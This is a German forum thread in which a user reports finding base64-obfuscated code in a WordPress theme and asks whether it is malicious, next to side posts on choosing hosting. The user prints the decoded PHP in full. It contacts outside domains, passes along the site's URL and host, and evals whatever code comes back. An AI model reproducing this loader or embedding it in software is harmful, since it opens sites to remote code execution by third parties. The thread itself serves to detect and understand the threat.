Beiträge von Sasser

    Für den Anfang sollte man sich nicht von den Preisen eines billigen VServers verlocken lassen sondern stattdessen zu einem günstigen "managed Hostings" aka Webhosting-Packet greifen. Gibts sicherlich ab 2,3 Euro den Monat.

    Es gibt seriöse Anbieter die einen sogar noch drauf hinweisen, wenn die Wordpress Version veraltet ist, z.B. Host Europe. Das kostet auch kaum mehr als der Vserver und man muss sich nicht mit der Konfiguration eines Servers rumschlagen.

    Okay, Du hast keine X^2 GB Speicherplatz, aber wer braucht die beim Blog?


    Ähm... wie kannst du so urteilen, und mich als kleinen noob hinstellen, der mal eben weils günstig ist sich nen vserver gemietet hat...? weisst du was ich mit dem vserver mache? nein! Wenn ich nur webspace bräuchte, hätte ich nur webspace gemietet.
    Ich arbeite mit php und entwickel selber scripte und erweiterungen...

    Ich nutze mehrere domains und wenn ich für jede domain einen webspace gemietet hätte, wäre dieses teurer...

    Und das schliesst du daraus, das ich gesagt habe, ich habe meiner frau einen blog eingerichtet??


    Ich habe lediglich eine frage zu dem thema gestellt, weil ich wissen wollte, ob es erfahrungen gibt, die mir aufschluss geben können, ob der code bösartig ist oder nicht.

    Ich wusste bis dato nicht einmal das es solche themes gibt, da ich bisher nie Wordpress installiert hatte!

    WordPress würde ich komplett löschen und neu aufspielen in 2.7 wenn das geht.

    wp2.7 ist zur zeit noch installiert...

    Ergänzung: Ein Backup der Datenbank würde ich vorher ziehen und dieses in einem geigneten Texteditor per Hand nach verdächtigen Sachen wie inplace Javascripts, und "blaue Pillen Links" durchsuchen.


    jut jut, backup meiner wichtigen PHP scripts habe ich soweit gemacht, nur wie gesagt, da ich in plesk nicht reinkomme, kann ich leider kein Datenbank backup machen.
    Einträge in den blog gab es noch keine... war erst in der "aufbau"phase.

    Naja, schade, das auch google nicht viel anzeigen kann... irgendwie spalten sich die meinungen.. die einem meinen "zum prüfen des copyrights" andere wiederum meinen "hoch gefährlich"...

    Werd dem Hoster bescheidgeben...

    Und klar, ich werde ab nun alle Themes durchsuchen, mein anderen Blog hab ich danach das theme auch sofort durchsucht, scheint aber clean... ;)

    Hallo,

    Also ich habe vor 2-3 Tagen einen Blog für meine Frau erstellt.
    Und ihr das Design

    VsPink 1 von Ankur Savai

    http://themeviewer.com/images/vspink-1.gif

    installiert...

    Nun, habe ich vorhin festgestellt, das ich nicht mehr auf meinen Vserver komme. Die login seite ist weg.

    Natürlich dachte ich ersteinmal an wartungsarbeiten bezüglich des hosters. Und habe ein Support ticket geschrieben.

    Dann hatte ich angefangen das Theme von Englisch auf Deutsch umzuschreiben, und fand diesen base64 geschüzten Code...

    Das machte mich stutzig, und ich hab diesen Code mal online encoden lassen...

    PHP
    if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1";  $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);  $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);  @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0";  $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);  @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

    Da ich ein wenig mit PHP zu tun habe, war ich über den teil des Codes

    PHP
    @fsockopen("www.wpssr.com",

    sehr erschrocken. Zuerst dachte ich an ein callback funktion, um das copyright zu schützen... (kann ja durchaus sein)

    Natürlich habe ich diesen Codeteil sofort entfernt.. aber wieviel schaden ist vllt entstanden?


    Also googelte ich nach "Worpress themes callback" und nach "http://www.wpssr.com" und gelang in diesen Thread hier.

    Nun habe ich ein wenig angst, das die meinen Vserver übernommen haben...
    Kann dies sein??

    Denn wie gesagt, ich kann Plesk nicht mehr aufrufen.


    Also mit Putty und WinSCP komme ich noch immer auf den server